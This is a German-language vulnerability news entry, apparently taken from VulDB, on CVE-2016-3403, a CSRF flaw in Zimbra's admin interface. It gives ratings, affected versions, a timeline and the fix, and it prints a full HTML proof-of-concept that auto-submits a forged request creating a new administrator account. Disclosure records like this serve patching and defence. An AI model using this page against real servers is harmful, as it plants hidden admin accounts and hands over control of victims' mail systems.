800+ IT
News
als RSS Feed abonnieren📚 Zimbra bis 8.6 Administration Interface Cross Site Request Forgery
💡 Newskategorie: Sicherheitslücken
🔗 Quelle: vuldb.com
Eine Schwachstelle wurde in Zimbra bis 8.6 entdeckt. Sie wurde als problematisch eingestuft. Davon betroffen ist eine unbekannte Funktion der Komponente Administration Interface. Durch die Manipulation mit einer unbekannten Eingabe kann eine Cross Site Request Forgery-Schwachstelle ausgenutzt werden. Auswirkungen hat dies auf die Integrität.
Die Schwachstelle wurde am 11.01.2017 durch Anthony Laou-Hine Tsuei von Sysdream Labs als [CVE-2016-3403] [Zimbra] Multiple CSRF in Administration interface - all versions in Form eines bestätigten Mailinglist Posts (Full-Disclosure) herausgegeben. Auf seclists.org kann das Advisory eingesehen werden. Eine Veröffentlichung wurde in Zusammenarbeit mit dem Projektteam angestrebt. Die Verwundbarkeit wird mit der eindeutigen Identifikation CVE-2016-3403 gehandelt. Umgesetzt werden kann der Angriff über das Netzwerk. Das Ausnutzen erfordert keine spezifische Authentisierung. Es sind zwar keine technische Details, jedoch ein öffentlicher Exploit zur Schwachstelle bekannt. Das Advisory weist darauf hin:
Multiple CSRF vulnerabilities have been found in the administration interface of Zimbra, giving possibilities like adding, modifying and removing admin accounts.Ein öffentlicher Exploit wurde durch Anthony Laou-Hine Tsuei in HTML entwickelt und sofort nach dem Advisory veröffentlicht. Er wird als proof-of-concept gehandelt. Der Exploit wird unter seclists.org bereitgestellt. Es dauerte mindestens 322 Tage, bis diese Zero-Day Schwachstelle öffentlich gemacht wurde. Während dieser Zeit erzielte er wohl etwa $0-$5k auf dem Schwarzmarkt. Der durch den Exploit genutzte Code gestaltet sich wie folgt:
<html>
<body>
<form enctype="text/plain" id="trololo"
action="https://192.168.0.171:7071/service/admin/soap/CreateAccountRequest";
method="POST">
<input name='<soap:Envelope
xmlns:soap="http://www.w3.org/2003/05/soap-envelope";><soap:Header><context
xmlns="urn:zimbra"><userAgent xmlns="" name="DTC"/><session xmlns=""
id="1337"/><format xmlns=""
type="js"/></context></soap:Header><soap:Body><CreateAccountRequest
xmlns="urn:zimbraAdmin"><name xmlns="">itworks () ubuntu fr</name><password
xmlns="">test1234</password><a xmlns=""
n="zimbraAccountStatus">active</a><a xmlns=""
n="displayName">ItWorks</a><a xmlns="" n'
value='"sn">itworks</a><a xmlns=""
n="zimbraIsAdminAccount">TRUE</a></CreateAccountRequest></soap:Body></soap:Envelope>'/>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>Ein Aktualisieren auf die Version 8.7 vermag dieses Problem zu lösen.
CVSSv3
Base Score: 4.3 [?]Temp Score: 3.9 [?]
Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RL:O/RC:C [?]
Zuverlässigkeit: High
CVSSv2
Base Score: 4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N) [?]Temp Score: 3.4 (CVSS2#E:POC/RL:OF/RC:C) [?]
Zuverlässigkeit: High
CPE
- cpe:/a:zimbra:zimbra:8.0
- cpe:/a:zimbra:zimbra:8.1
- cpe:/a:zimbra:zimbra:8.2
- cpe:/a:zimbra:zimbra:8.3
- cpe:/a:zimbra:zimbra:8.4
- cpe:/a:zimbra:zimbra:8.5
- cpe:/a:zimbra:zimbra:8.6
Exploiting
Klasse: Cross Site Request ForgeryLokal: Nein
Remote: Ja
Verfügbarkeit: Ja
Zugang: öffentlich
Status: Proof-of-Concept
Programmiersprache: HTML
Autor: Anthony Laou-Hine Tsuei
Download: seclists.org
Preisentwicklung: gleichbleibend
Aktuelle Preisschätzung: $0-$5k (0-day) / $0-$5k (Heute)
Gegenmassnahmen
Empfehlung: UpgradeStatus: Offizieller Fix
0-Day Time: 322 Tage seit gefunden
Exploit Delay Time: 0 Tage seit bekannt
Upgrade: Zimbra 8.7
Timeline
24.02.2016 Hersteller informiert24.02.2016 Hersteller bestätigt
11.01.2017 Advisory veröffentlicht
11.01.2017 Exploit veröffentlicht
13.01.2017 VulDB Eintrag erstellt
13.01.2017 VulDB letzte Aktualisierung
Quellen
Advisory: [CVE-2016-3403] [Zimbra] Multiple CSRF in Administration interface - all versionsPerson: Anthony Laou-Hine Tsuei
Firma: Sysdream Labs
Status: Bestätigt
Bestätigung: bugzilla.zimbra.com
Koordiniert: Ja
CVE: CVE-2016-3403 (mitre.org) (nvd.nist.org) (cvedetails.com)
Eintrag
Erstellt: 13.01.2017Eintrag: 78% komplett
...